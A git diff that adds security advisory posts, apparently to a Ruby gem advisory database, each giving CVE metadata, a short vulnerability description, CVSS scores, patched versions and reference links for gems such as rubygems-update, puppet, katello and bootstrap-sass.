diff --git a/advisories/_posts/2022-05-13-CVE-2018-1000075.md b/advisories/_posts/2022-05-13-CVE-2018-1000075.md
new file mode 100644
index 00000000..fb58bb53
--- /dev/null
+++ b/advisories/_posts/2022-05-13-CVE-2018-1000075.md
@@ -0,0 +1,45 @@
+---
+layout: advisory
+title: 'CVE-2018-1000075 (rubygems-update): RubyGems Infinite Loop vulnerability'
+comments: false
+categories:
+- rubygems-update
+advisory:
+  gem: rubygems-update
+  cve: 2018-1000075
+  ghsa: 74pv-v9gh-h25p
+  url: https://github.com/rubygems/rubygems/commit/92e98bf8f810bd812f919120d4832df51bc25d83
+  title: RubyGems Infinite Loop vulnerability
+  date: 2022-05-13
+  description: |
+    RubyGems version Ruby 2.2 series: 2.2.9 and earlier, Ruby 2.3 series:
+    2.3.6 and earlier, Ruby 2.4 series: 2.4.3 and earlier, Ruby 2.5 series: 2.5.0 and
+    earlier, prior to trunk revision 62422 contains a infinite loop caused by negative
+    size vulnerability in ruby gem package tar header that can result in a negative
+    size could cause an infinite loop.. This vulnerability appears to have been fixed
+    in 2.7.6.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 2.7.6"
+  related:
+    url:
+    - https://access.redhat.com/errata/RHSA-2018:3729
+    - https://access.redhat.com/errata/RHSA-2018:3730
+    - https://access.redhat.com/errata/RHSA-2018:3731
+    - https://access.redhat.com/errata/RHSA-2019:2028
+    - https://access.redhat.com/errata/RHSA-2020:0542
+    - https://access.redhat.com/errata/RHSA-2020:0591
+    - https://access.redhat.com/errata/RHSA-2020:0663
+    - https://lists.debian.org/debian-lts-announce/2018/04/msg00000.html
+    - https://lists.debian.org/debian-lts-announce/2018/04/msg00001.html
+    - https://lists.debian.org/debian-lts-announce/2018/04/msg00023.html
+    - https://lists.debian.org/debian-lts-announce/2018/07/msg00012.html
+    - https://lists.debian.org/debian-lts-announce/2019/05/msg00028.html
+    - https://usn.ubuntu.com/3621-1/
+    - https://www.debian.org/security/2018/dsa-4219
+    - https://www.debian.org/security/2018/dsa-4259
+    - http://blog.rubygems.org/2018/02/15/2.7.6-released.html
+    - http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00036.html
+    - https://github.com/jruby/jruby/commit/0b06b48ab4432237ce5fc1bef47f2c6bcf7843f7
+    - https://github.com/rubygems/rubygems/commit/5971b486d4dbb2bad5d3445b3801c456eb0ce183
+---
diff --git a/advisories/_posts/2022-05-13-CVE-2018-12615.md b/advisories/_posts/2022-05-13-CVE-2018-12615.md
new file mode 100644
index 00000000..a3d486ee
--- /dev/null
+++ b/advisories/_posts/2022-05-13-CVE-2018-12615.md
@@ -0,0 +1,22 @@
+---
+layout: advisory
+title: 'CVE-2018-12615 (passenger): Phusion Passenger incorrect permission assignment'
+comments: false
+categories:
+- passenger
+advisory:
+  gem: passenger
+  cve: 2018-12615
+  ghsa: 4284-jfhc-f854
+  url: https://github.com/phusion/passenger/commit/4e97fdb86d0a0141ec9a052c6e691fcd07bb45c8
+  title: Phusion Passenger incorrect permission assignment
+  date: 2022-05-13
+  description: |
+    An issue was discovered in switchGroup() in agent/ExecHelper/ExecHelperMain.cpp
+    in Phusion Passenger before 5.3.2. The set of groups (gidset) is not set correctly,
+    leaving it up to randomness (i.e., uninitialized memory) which supplementary groups
+    are actually being set while lowering privileges.
+  cvss_v3: 5.3
+  patched_versions:
+  - ">= 5.3.2"
+---
diff --git a/advisories/_posts/2022-05-13-CVE-2018-14040.md b/advisories/_posts/2022-05-13-CVE-2018-14040.md
new file mode 100644
index 00000000..f367bb23
--- /dev/null
+++ b/advisories/_posts/2022-05-13-CVE-2018-14040.md
@@ -0,0 +1,55 @@
+---
+layout: advisory
+title: 'CVE-2018-14040 (bootstrap-sass): Bootstrap vulnerable to Cross-Site Scripting
+  (XSS)'
+comments: false
+categories:
+- bootstrap-sass
+advisory:
+  gem: bootstrap-sass
+  cve: 2018-14040
+  ghsa: 3wqf-4x89-9g79
+  url: https://github.com/advisories/GHSA-3wqf-4x89-9g79
+  title: Bootstrap vulnerable to Cross-Site Scripting (XSS)
+  date: 2022-05-13
+  description: |
+    In Bootstrap starting in version 2.3.0 and prior to 3.4.0, as well as
+    4.x before 4.1.2, XSS is possible in the collapse data-parent attribute.
+  cvss_v2: 4.3
+  cvss_v3: 6.1
+  unaffected_versions:
+  - "< 2.3.0"
+  patched_versions:
+  - "~> 3.4.0"
+  - ">= 4.1.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2018-14040
+    - https://github.com/twbs/bootstrap/issues/26423
+    - https://github.com/twbs/bootstrap/issues/26625
+    - https://github.com/twbs/bootstrap/pull/26630
+    - https://lists.apache.org/thread.html/519eb0fd45642dcecd9ff74cb3e71c20a4753f7d82e2f07864b5108f@
+    - https://lists.apache.org/thread.html/52e0e6b5df827ee7f1e68f7cc3babe61af3b2160f5d74a85469b7b0e@
+    - https://lists.apache.org/thread.html/b0656d359c7d40ec9f39c8cc61bca66802ef9a2a12ee199f5b0c1442@
+    - https://lists.apache.org/thread.html/f9bc3e55f4e28d1dcd1a69aae6d53e609a758e34d2869b4d798e13cc@
+    - https://lists.apache.org/thread.html/r3dc0cac8d856bca02bd6997355d7ff83027dcfc82f8646a29b89b714@
+    - https://lists.apache.org/thread.html/rd0e44e8ef71eeaaa3cf3d1b8b41eb25894372e2995ec908ce7624d26@
+    - https://lists.debian.org/debian-lts-announce/2018/08/msg00027.html
+    - https://seclists.org/bugtraq/2019/May/18
+    - https://www.oracle.com/security-alerts/cpuApr2021.html
+    - https://www.tenable.com/security/tns-2021-14
+    - http://packetstormsecurity.com/files/152787/dotCMS-5.1.1-Vulnerable-Dependencies.html
+    - http://packetstormsecurity.com/files/156743/OctoberCMS-Insecure-Dependencies.html
+    - http://seclists.org/fulldisclosure/2019/May/10
+    - http://seclists.org/fulldisclosure/2019/May/11
+    - http://seclists.org/fulldisclosure/2019/May/13
+    - https://github.com/twbs/bootstrap/blob/v3.4.1/js/collapse.js#L140
+    - https://github.com/twbs/bootstrap/blob/v3.4.1/js/scrollspy.js#L56
+    - https://github.com/twbs/bootstrap/blob/v3.4.1/js/tooltip.js#L352
+    - https://github.com/twbs/bootstrap-rubygem/commit/f34c43c936ac7d0ebb129289321d8c51cd56aed1#diff-4e736e880b7fc39eb5e85576b629f6e3cd08f02f45104a7b4581f82852e97a81R1306
+    - https://github.com/twbs/bootstrap/commit/149096016f70fd815540d62c0989fd99cdc809e0
+    - https://github.com/rubysec/ruby-advisory-db/blob/master/gems/bootstrap/CVE-2018-14040.yml
+    - https://github.com/twbs/bootstrap/commit/2a5ba23ce8f041f3548317acc992ed8a736b609d
+    - https://blog.getbootstrap.com/2018/07/12/bootstrap-4-1-2
+    - https://github.com/advisories/GHSA-3wqf-4x89-9g79
+---
diff --git a/advisories/_posts/2022-05-13-CVE-2018-14623.md b/advisories/_posts/2022-05-13-CVE-2018-14623.md
new file mode 100644
index 00000000..656c7e8c
--- /dev/null
+++ b/advisories/_posts/2022-05-13-CVE-2018-14623.md
@@ -0,0 +1,25 @@
+---
+layout: advisory
+title: 'CVE-2018-14623 (katello): katello SQL Injection vulnerability'
+comments: false
+categories:
+- katello
+advisory:
+  gem: katello
+  cve: 2018-14623
+  ghsa: jx5v-788g-qw58
+  url: https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2018-14623
+  title: katello SQL Injection vulnerability
+  date: 2022-05-13
+  description: |
+    A SQL injection flaw was found in katello's errata-related API. An authenticated
+    remote attacker can craft input data to force a malformed SQL query to the backend
+    database, which will leak internal IDs. This is issue is related to an incomplete
+    fix for CVE-2016-3072. Version 3.10 and older is vulnerable.
+  cvss_v3: 4.3
+  related:
+    url:
+    - https://web.archive.org/web/20200227100255/http://www.securityfocus.com/bid/106224
+    ghsa:
+    - 527r-mfmj-prqf
+---
diff --git a/advisories/_posts/2022-05-13-CVE-2018-18260.md b/advisories/_posts/2022-05-13-CVE-2018-18260.md
new file mode 100644
index 00000000..f9362dc6
--- /dev/null
+++ b/advisories/_posts/2022-05-13-CVE-2018-18260.md
@@ -0,0 +1,22 @@
+---
+layout: advisory
+title: 'CVE-2018-18260 (camaleon_cms): Camaleon CMS vulnerable to Stored Cross-site
+  Scripting'
+comments: false
+categories:
+- camaleon_cms
+advisory:
+  gem: camaleon_cms
+  cve: 2018-18260
+  ghsa: 7f84-9cqf-g4j9
+  url: http://packetstormsecurity.com/files/149772/CAMALEON-CMS-2.4-Cross-Site-Scripting.html
+  title: Camaleon CMS vulnerable to Stored Cross-site Scripting
+  date: 2022-05-13
+  description: |
+    In the 2.4 version of Camaleon CMS, Stored XSS has been discovered. The
+    profile image in the User settings section can be run in the update / upload area
+    via `/admin/media/upload?actions=false`.
+  cvss_v3: 6.1
+  unaffected_versions:
+  - "< 2.4"
+---
diff --git a/advisories/_posts/2022-05-13-CVE-2018-18385.md b/advisories/_posts/2022-05-13-CVE-2018-18385.md
new file mode 100644
index 00000000..68c31811
--- /dev/null
+++ b/advisories/_posts/2022-05-13-CVE-2018-18385.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2018-18385 (asciidoctor): Asciidoctor Infinite Loop vulnerability'
+comments: false
+categories:
+- asciidoctor
+advisory:
+  gem: asciidoctor
+  cve: 2018-18385
+  ghsa: qc9p-mjxm-j2wj
+  url: https://github.com/asciidoctor/asciidoctor/issues/2888
+  title: Asciidoctor Infinite Loop vulnerability
+  date: 2022-05-13
+  description: |
+    Asciidoctor in versions < 1.5.8 allows remote attackers to cause a denial
+    of service (infinite loop). The loop was caused by the fact that `Parser.next_block`
+    was not exhausting all the lines in the reader as the while loop expected it would.
+    This was happening because the regular expression that detects any list was not
+    agreeing with the regular expression that detects a specific list type. So the line
+    kept getting pushed back onto the reader, hence causing the loop.
+  cvss_v3: 7.5
+  patched_versions:
+  - ">= 1.5.8"
+---
diff --git a/advisories/_posts/2022-05-14-CVE-2011-0528.md b/advisories/_posts/2022-05-14-CVE-2011-0528.md
new file mode 100644
index 00000000..b307e1b1
--- /dev/null
+++ b/advisories/_posts/2022-05-14-CVE-2011-0528.md
@@ -0,0 +1,32 @@
+---
+layout: advisory
+title: 'CVE-2011-0528 (puppet): Puppet does not properly restrict access to node resources'
+comments: false
+categories:
+- puppet
+advisory:
+  gem: puppet
+  cve: 2011-0528
+  ghsa: 9pvx-fwwh-w289
+  url: https://github.com/advisories/GHSA-9pvx-fwwh-w289
+  title: Puppet does not properly restrict access to node resources
+  date: 2022-05-14
+  description: |
+    Puppet 2.6.0 through 2.6.3 does not properly restrict access to node
+    resources, which allows remote authenticated Puppet nodes to read
+    or modify the resources of other nodes via unspecified vectors.
+  cvss_v2: 5.5
+  unaffected_versions:
+  - "< 2.6.0"
+  patched_versions:
+  - ">= 2.6.4"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-0528
+    - https://github.com/puppetlabs/puppet/commit/eee1a9cdaa5cab6222c8e6ab087d319f976fa4e3
+    - https://www.mail-archive.com/puppet-users@googlegroups.com/msg16429.html
+    - http://www.openwall.com/lists/oss-security/2011/01/27/6
+    - http://www.openwall.com/lists/oss-security/2011/01/31/5
+    - http://www.ubuntu.com/usn/USN-1365-1
+    - https://github.com/advisories/GHSA-9pvx-fwwh-w289
+---
diff --git a/advisories/_posts/2022-05-14-CVE-2011-3869.md b/advisories/_posts/2022-05-14-CVE-2011-3869.md
new file mode 100644
index 00000000..0e0474c9
--- /dev/null
+++ b/advisories/_posts/2022-05-14-CVE-2011-3869.md
@@ -0,0 +1,35 @@
+---
+layout: advisory
+title: 'CVE-2011-3869 (puppet): Puppet arbitrary file overwrite'
+comments: false
+categories:
+- puppet
+advisory:
+  gem: puppet
+  cve: 2011-3869
+  ghsa: 8c56-v25w-f89c
+  url: https://puppet.com/security/cve/cve-2011-3869
+  title: Puppet arbitrary file overwrite
+  date: 2022-05-14
+  description: |
+    Puppet 2.7.x before 2.7.5, 2.6.x before 2.6.11, and 0.25.x allows
+    local users to overwrite arbitrary files via a symlink attack
+    on the .k5login file.
+  patched_versions:
+  - "~> 2.6.11"
+  - ">= 2.7.5"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2011-3869
+    - https://puppet.com/security/cve/cve-2011-3869
+    - http://groups.google.com/group/puppet-announce/browse_thread/thread/91e3b46d2328a1cb
+    - https://github.com/puppetlabs/puppet/commit/2775c21ae48e189950dbea5e7b4d1d9fa2aca41c
+    - https://github.com/puppetlabs/puppet/commit/7d4c169df84fc7bbeb2941bf995a63470f71bdbd
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068053.html
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068061.html
+    - http://lists.fedoraproject.org/pipermail/package-announce/2011-October/068093.html
+    - http://www.debian.org/security/2011/dsa-2314
+    - http://www.ubuntu.com/usn/USN-1223-1
+    - http://www.ubuntu.com/usn/USN-1223-2
+    - https://github.com/advisories/GHSA-8c56-v25w-f89c
+---
diff --git a/advisories/_posts/2022-05-14-CVE-2012-1987.md b/advisories/_posts/2022-05-14-CVE-2012-1987.md
new file mode 100644
index 00000000..f36d9b18
--- /dev/null
+++ b/advisories/_posts/2022-05-14-CVE-2012-1987.md
@@ -0,0 +1,48 @@
+---
+layout: advisory
+title: 'CVE-2012-1987 (puppet): Puppet Denial of Service and Arbitrary File Write'
+comments: false
+categories:
+- puppet
+advisory:
+  gem: puppet
+  cve: 2012-1987
+  ghsa: v58w-6xc2-w799
+  url: https://github.com/advisories/GHSA-v58w-6xc2-w799
+  title: Puppet Denial of Service and Arbitrary File Write
+  date: 2022-05-14
+  description: |
+    A vulnerability in Puppet 2.6.x before 2.6.15 and 2.7.x before 2.7.13,
+    and Puppet Enterprise (PE) Users 1.0, 1.1, 1.2.x, 2.0.x, and 2.5.x before 2.5.1
+    allows remote authenticated users with agent SSL keys to **(1)** cause a denial
+    of service (memory consumption) via a REST request to a stream that triggers a thread
+    block, as demonstrated using CVE-2012-1986 and `/dev/random`; or **(2)** cause a
+    denial of service (filesystem consumption) via crafted REST requests that use "a
+    marshaled form of a `Puppet::FileBucket::File object`" to write to arbitrary file
+    locations.
+  cvss_v2: 3.5
+  unaffected_versions:
+  - "< 2.6.0"
+  patched_versions:
+  - "~> 2.6.15"
+  - ">= 2.7.13"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2012-1987
+    - https://web.archive.org/web/20160808163232/https://puppet.com/security/cve/cve-2012-1987
+    - https://web.archive.org/web/20120513213318/http://projects.puppetlabs.com/issues/13553
+    - https://web.archive.org/web/20120513224202/http://projects.puppetlabs.com/issues/13552
+    - https://web.archive.org/web/20121005145241/http://projects.puppetlabs.com/projects/1/wiki/Release_Notes#2.6.15
+    - https://web.archive.org/web/20120415105345/http://www.securityfocus.com/bid/52975
+    - https://github.com/puppetlabs/puppet/commit/0d6d29933e613fe177e9235415919a5428db67bc
+    - https://github.com/puppetlabs/puppet/commit/568ded50ec6cc498ad32ff7f086d9f73b5d24c14
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/74794
+    - https://hermes.opensuse.org/messages/14523305
+    - https://hermes.opensuse.org/messages/15087408
+    - http://lists.fedoraproject.org/pipermail/package-announce/2012-April/079227.html
+    - http://lists.fedoraproject.org/pipermail/package-announce/2012-April/079289.html
+    - http://lists.fedoraproject.org/pipermail/package-announce/2012-May/080003.html
+    - http://ubuntu.com/usn/usn-1419-1
+    - http://www.debian.org/security/2012/dsa-2451
+    - https://github.com/advisories/GHSA-v58w-6xc2-w799
+---
diff --git a/advisories/_posts/2022-05-14-CVE-2012-1988.md b/advisories/_posts/2022-05-14-CVE-2012-1988.md
new file mode 100644
index 00000000..8ad769cc
--- /dev/null
+++ b/advisories/_posts/2022-05-14-CVE-2012-1988.md
@@ -0,0 +1,44 @@
+---
+layout: advisory
+title: 'CVE-2012-1988 (puppet): Puppet Arbitrary Command Execution'
+comments: false
+categories:
+- puppet
+advisory:
+  gem: puppet
+  cve: 2012-1988
+  ghsa: 6xxq-j39w-g3f6
+  url: https://github.com/advisories/GHSA-6xxq-j39w-g3f6
+  title: Puppet Arbitrary Command Execution
+  date: 2022-05-14
+  description: |
+    Puppet 2.6.x before 2.6.15 and 2.7.x before 2.7.13, and Puppet Enterprise
+    (PE) Users 1.0, 1.1, 1.2.x, 2.0.x, and 2.5.x before 2.5.1 allows remote authenticated
+    users with agent SSL keys and file-creation permissions on the puppet master to
+    execute arbitrary commands by creating a file whose full pathname contains shell
+    metacharacters, then performing a filebucket request.
+  cvss_v2: 6.0
+  unaffected_versions:
+  - "< 2.6.0"
+  patched_versions:
+  - "~> 2.6.15"
+  - ">= 2.7.13"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2012-1988
+    - https://web.archive.org/web/20121013181707/http://puppetlabs.com/security/cve/cve-2012-1988
+    - https://web.archive.org/web/20120513213112/http://projects.puppetlabs.com/issues/13518
+    - https://web.archive.org/web/20120816020421/http://projects.puppetlabs.com/projects/1/wiki/Release_Notes#2.6.15
+    - https://web.archive.org/web/20120415105345/http://www.securityfocus.com/bid/52975
+    - https://github.com/puppetlabs/puppet/commit/0d6d29933e613fe177e9235415919a5428db67bc
+    - https://github.com/puppetlabs/puppet/commit/568ded50ec6cc498ad32ff7f086d9f73b5d24c14
+    - https://exchange.xforce.ibmcloud.com/vulnerabilities/74796
+    - https://hermes.opensuse.org/messages/14523305
+    - https://hermes.opensuse.org/messages/15087408
+    - http://lists.fedoraproject.org/pipermail/package-announce/2012-April/079227.html
+    - http://lists.fedoraproject.org/pipermail/package-announce/2012-April/079289.html
+    - http://lists.fedoraproject.org/pipermail/package-announce/2012-May/080003.html
+    - http://ubuntu.com/usn/usn-1419-1
+    - http://www.debian.org/security/2012/dsa-2451
+    - https://github.com/advisories/GHSA-6xxq-j39w-g3f6
+---
diff --git a/advisories/_posts/2022-05-14-CVE-2014-4326.md b/advisories/_posts/2022-05-14-CVE-2014-4326.md
new file mode 100644
index 00000000..7cda20bd
--- /dev/null
+++ b/advisories/_posts/2022-05-14-CVE-2014-4326.md
@@ -0,0 +1,31 @@
+---
+layout: advisory
+title: 'CVE-2014-4326 (logstash): Elasticsearch Logstash allows remote attackers to
+  execute arbitrary commands'
+comments: false
+categories:
+- logstash
+advisory:
+  gem: logstash
+  cve: 2014-4326
+  ghsa: 8qhq-rq4j-8prj
+  url: https://www.elastic.co/community/security
+  title: Elasticsearch Logstash allows remote attackers to execute arbitrary commands
+  date: 2022-05-14
+  description: |
+    Elasticsearch Logstash 1.0.14 through 1.4.x before 1.4.2 allows
+    remote attackers to execute arbitrary commands via a crafted
+    event in (1) `zabbix.rb` or (2) `nagios_nsca.rb` in `outputs/`.
+  cvss_v2: 7.5
+  unaffected_versions:
+  - "< 1.0.14"
+  patched_versions:
+  - ">= 1.4.2"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2014-4326
+    - https://www.elastic.co/community/security
+    - https://web.archive.org/web/20140804031140/http://www.elasticsearch.org/blog/logstash-1-4-2
+    - https://web.archive.org/web/20201207013408/http://www.securityfocus.com/archive/1/532841/100/0/threaded
+    - https://github.com/advisories/GHSA-8qhq-rq4j-8prj
+---
diff --git a/advisories/_posts/2022-05-14-CVE-2016-3072.md b/advisories/_posts/2022-05-14-CVE-2016-3072.md
new file mode 100644
index 00000000..175afef7
--- /dev/null
+++ b/advisories/_posts/2022-05-14-CVE-2016-3072.md
@@ -0,0 +1,27 @@
+---
+layout: advisory
+title: 'CVE-2016-3072 (katello): Katello SQL Injection vulnerabilities'
+comments: false
+categories:
+- katello
+advisory:
+  gem: katello
+  cve: 2016-3072
+  ghsa: 527r-mfmj-prqf
+  url: https://github.com/Katello/katello/pull/6051
+  title: Katello SQL Injection vulnerabilities
+  date: 2022-05-14
+  description: |
+    Multiple SQL injection vulnerabilities in the scoped_search function
+    in app/controllers/katello/api/v2/api_controller.rb in Katello allow remote authenticated
+    users to execute arbitrary SQL commands via the (1) sort_by or (2) sort_order parameter.
+  cvss_v3: 8.8
+  patched_versions:
+  - ">= 2.4.3"
+  related:
+    url:
+    - https://access.redhat.com/errata/RHSA-2016:1083
+    - https://bugzilla.redhat.com/show_bug.cgi?id=1322050
+    - https://github.com/Katello/katello/commit/5645ed4365980a34e30a9c57fe0793dff729e8e4
+    - https://access.redhat.com/security/cve/CVE-2016-3072
+---
diff --git a/advisories/_posts/2022-05-14-CVE-2017-10784.md b/advisories/_posts/2022-05-14-CVE-2017-10784.md
new file mode 100644
index 00000000..d7574d53
--- /dev/null
+++ b/advisories/_posts/2022-05-14-CVE-2017-10784.md
@@ -0,0 +1,46 @@
+---
+layout: advisory
+title: 'CVE-2017-10784 (webrick): WEBrick RCE Vulnerability'
+comments: false
+categories:
+- webrick
+advisory:
+  gem: webrick
+  cve: 2017-10784
+  ghsa: 369m-2gv6-mw28
+  url: https://access.redhat.com/errata/RHSA-2017:3485
+  title: WEBrick RCE Vulnerability
+  date: 2022-05-14
+  description: |
+    The Basic authentication code in WEBrick library in Ruby before 2.2.8,
+    2.3.x before 2.3.5, and 2.4.x through 2.4.1 allows remote attackers to inject terminal
+    emulator escape sequences into its log and possibly execute arbitrary commands via
+    a crafted user name.
+  cvss_v2: 9.3
+  cvss_v3: 8.8
+  patched_versions:
+  - ">= 1.4.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-10784
+    - https://access.redhat.com/errata/RHSA-2017:3485
+    - https://access.redhat.com/errata/RHSA-2018:0378
+    - https://access.redhat.com/errata/RHSA-2018:0583
+    - https://access.redhat.com/errata/RHSA-2018:0585
+    - https://lists.debian.org/debian-lts-announce/2018/07/msg00012.html
+    - https://security.gentoo.org/glsa/201710-18
+    - https://usn.ubuntu.com/3528-1/
+    - https://usn.ubuntu.com/3685-1/
+    - https://www.debian.org/security/2017/dsa-4031
+    - https://www.ruby-lang.org/en/news/2017/09/14/ruby-2-2-8-released/
+    - https://www.ruby-lang.org/en/news/2017/09/14/ruby-2-3-5-released/
+    - https://www.ruby-lang.org/en/news/2017/09/14/webrick-basic-auth-escape-sequence-injection-cve-2017-10784/
+    - https://web.archive.org/web/20210621131814/http://www.securityfocus.com/bid/100853
+    - https://web.archive.org/web/20210919031115/http://www.securitytracker.com/id/1042004
+    - https://web.archive.org/web/20211025092552/http://www.securitytracker.com/id/1039363
+    - https://github.com/ruby/ruby/commit/6617c41292
+    - https://github.com/ruby/webrick/commit/4ac0f3843ab82d1c31e1cfc719409208adef7813
+    - https://hackerone.com/reports/223363
+    - https://github.com/advisories/GHSA-369m-2gv6-mw28
+  notes: 'Versions in description: field are ruby versions, not ruby gem'
+---
diff --git a/advisories/_posts/2022-05-14-CVE-2017-14033.md b/advisories/_posts/2022-05-14-CVE-2017-14033.md
new file mode 100644
index 00000000..e795ea53
--- /dev/null
+++ b/advisories/_posts/2022-05-14-CVE-2017-14033.md
@@ -0,0 +1,39 @@
+---
+layout: advisory
+title: 'CVE-2017-14033 (openssl): Ruby OpenSSL DoS Vulnerability'
+comments: false
+categories:
+- openssl
+advisory:
+  gem: openssl
+  cve: 2017-14033
+  ghsa: v6rp-3r3v-hf4p
+  url: https://www.ruby-lang.org/en/news/2017/09/14/openssl-asn1-buffer-underrun-cve-2017-14033/
+  title: Ruby OpenSSL DoS Vulnerability
+  date: 2022-05-14
+  description: |
+    The decode method in the OpenSSL::ASN1 module in Ruby before 2.2.8, 2.3.x
+    before 2.3.5, and 2.4.x through 2.4.1 allows attackers to cause a denial of service
+    (interpreter crash) via a crafted string.
+  cvss_v2: 5.0
+  cvss_v3: 7.5
+  patched_versions:
+  - "> 2.0.0"
+  related:
+    url:
+    - https://nvd.nist.gov/vuln/detail/CVE-2017-14033
+    - https://www.ruby-lang.org/en/news/2017/09/14/openssl-asn1-buffer-underrun-cve-2017-14033/
+    - https://www.ruby-lang.org/en/news/2017/09/14/ruby-2-2-8-released/
+    - https://www.ruby-lang.org/en/news/2017/09/14/ruby-2-3-5-released/
+    - https://access.redhat.com/errata/RHSA-2018:0378
+    - https://access.redhat.com/errata/RHSA-2018:0583
+    - https://access.redhat.com/errata/RHSA-2018:0585
+    - https://lists.debian.org/debian-lts-announce/2018/07/msg00012.html
+    - https://security.gentoo.org/glsa/201710-18
+    - https://www.debian.org/security/2017/dsa-4031
+    - https://web.archive.org/web/20210509153849/http://www.securityfocus.com/bid/100868
+    - https://web.archive.org/web/20210622181826/http://www.securitytracker.com/id/1042004
+    - https://web.archive.org/web/20210724095519/http://www.securitytracker.com/id/1039363
+    - https://github.com/advisories/GHSA-v6rp-3r3v-hf4p
+  notes: 'Versions in description: field are ruby versions, not ruby gem'
+---
diff --git a/advisories/_posts/2022-05-14-CVE-2018-0499.md b/advisories/_posts/2022-05-14-CVE-2018-0499.md
new file mode 100644
index 00000000..754ab873
--- /dev/null
+++ b/advisories/_posts/2022-05-14-CVE-2018-0499.md
@@ -0,0 +1,24 @@
+---
+layout: advisory
+title: 'CVE-2018-0499 (xapian-core): xapian-core Cross-site Scripting vulnerability'
+comments: false
+categories:
+- xapian-core
+advisory:
+  gem: xapian-core
+  cve: 2018-0499
+  ghsa: 7qw4-w7hf-22q3
+  url: https://lists.xapian.org/pipermail/xapian-discuss/2018-July/009652.html
+  title: xapian-core Cross-site Scripting vulnerability
+  date: 2022-05-14
+  description: |
+    A cross-site scripting vulnerability in `queryparser/termgenerator_internal.cc`
+    in Xapian xapian-core before 1.4.6 exists due to incomplete HTML escaping by `Xapian::MSet::snippet()`.
+  cvss_v3: 6.1
+  patched_versions:
+  - ">= 1.4.6"
+  related:
+    url:
+    - https://trac.xapian.org/wiki/SecurityFixes/2018-07-02
+    - https://usn.ubuntu.com/3709-1/
+---
diff --git a/advisories/_posts/2022-05-14-CVE-2018-1000074.md b/advisories/_posts/2022-05-14-CVE-2018-1000074.md
new file mode 100644
index 00000000..dff12f85
--- /dev/null
+++ b/advisories/_posts/2022-05-14-CVE-2018-1000074.md
@@ -0,0 +1,46 @@
+---
+layout: advisory
+title: 'CVE-2018-1000074 (rubygems-update): RubyGems Deserialization of Untrusted
+  Data vulnerability'
+comments: false
+categories:
+- rubygems-update
+advisory:
+  gem: rubygems-update
+  cve: 2018-1000074
+  ghsa: qj2w-mw2r-pv39
+  url: https://github.com/rubygems/rubygems/commit/254e3d0ee873c008c0b74e8b8abcbdab4caa0a6d
+  title: RubyGems Deserialization of Untrusted Data vulnerability
+  date: 2022-05-14
+  description: |
+    RubyGems version Ruby 2.2 series: 2.2.9 and earlier, Ruby 2.3 series:
+    2.3.6 and earlier, Ruby 2.4 series: 2.4.3 and earlier, Ruby 2.5 series: 2.5.0 and
+    earlier, prior to trunk revision 62422 contains a Deserialization of Untrusted Data
+    vulnerability in owner command that can result in code execution. This attack requires
+    the victim to run the `gem owner` command on a gem with a specially crafted YAML
+    file. This vulnerability is fixed in 2.7.6.
+  cvss_v3: 7.8
+  patched_versions:
+  - ">= 2.7.6"
+  related:
+    url:
+    - https://access.redhat.com/errata/RHSA-2018:3729
+    - https://access.redhat.com/errata/RHSA-2018:3730
+    - https://access.redhat.com/errata/RHSA-2018:3731
+    - https://access.redhat.com/errata/RHSA-2019:2028
+    - https://access.redhat.com/errata/RHSA-2020:0542
+    - https://access.redhat.com/errata/RHSA-2020:0591
+    - https://access.redhat.com/errata/RHSA-2020:0663
+    - https://lists.debian.org/debian-lts-announce/2018/04/msg00017.html
+    - https://lists.debian.org/debian-lts-announce/2018/08/msg00028.html
+    - https://lists.debian.org/debian-lts-announce/2019/05/msg00028.html
+    - https://usn.ubuntu.com/3621-1/
+    - https://usn.ubuntu.com/3621-2/
+    - https://usn.ubuntu.com/3685-1/
+    - https://www.debian.org/security/2018/dsa-4219
+    - https://www.debian.org/security/2018/dsa-4259
+    - http://blog.rubygems.org/2018/02/15/2.7.6-released.html
+    - http://lists.opensuse.org/opensuse-security-announce/2019-07/msg00036.html
+    - https://github.com/jruby/jruby/commit/0b06b48ab4432237ce5fc1bef47f2c6bcf7843f7
+    - https://github.com/rubygems/rubygems/commit/5971b486d4dbb2bad5d3445b3801c456eb0ce183
+---
diff --git a/advisories/_posts/2022-05-14-CVE-2018-1000076.md b/advisories/_posts/2022-05-14-CVE-2018-1000076.md
new file mode 100644
index 00000000..bf311270
--- /dev/null
+++ b/advisories/_posts/2022-05-14-CVE-2018-1000076.md
@@ -0,0 +1,47 @@
+---
+layout: advisory
+title: 'CVE-2018-1000076 (rubygems-update): RubyGems Improper Verification of Cryptographic
+  Signature vulnerability'
+comments: false
+categories:
+- rubygems-update
+advisory:
+  gem: rubygems-update
+  cve: 2018-1000076
+  ghsa: mc6j-h948-v2p6
+  url: https://github.com/rubygems/rubygems/commit/f5042b879259b1f1ce95a0c5082622c646376693
+  title: RubyGems Improper Verification of Cryptographic Signature vulnerability
+  date: 2022-05-14
+  description: |
+    RubyGems version Ruby 2.2 series: 2.2.9 and earlier, Ruby 2.3 series:
+    2.3.6 and earlier, Ruby 2.4 series: 2.4.3 and earlier, and Ruby 2.5 series: 2.5.0
+    and earlier, prior to trunk revision 62422 contain an Improper Verification of Cryptographic
+    Signature vulnerability in package.rb. This can result in a mis-signed gem being
+    installed, as the tarball would contain multiple gem signatures. This vulnerability
+    has been fixed in 2.7.6.
+  cvss_v3: 9.8
+  unaffected_versions:
+  - "< 2.2.0"
+  patched_versions:
+  - ">= 2.7.6"
+  related:
+    url:
+    - https://access.redhat.com/errata/RHSA-2018:3729
+    - https://access.redhat.com/errata/RHSA-2018:3730
+    - https://access.redhat.com/errata/RHSA-2018:3731
+    - https://access.redhat.com/errata/RHSA-2019:2028
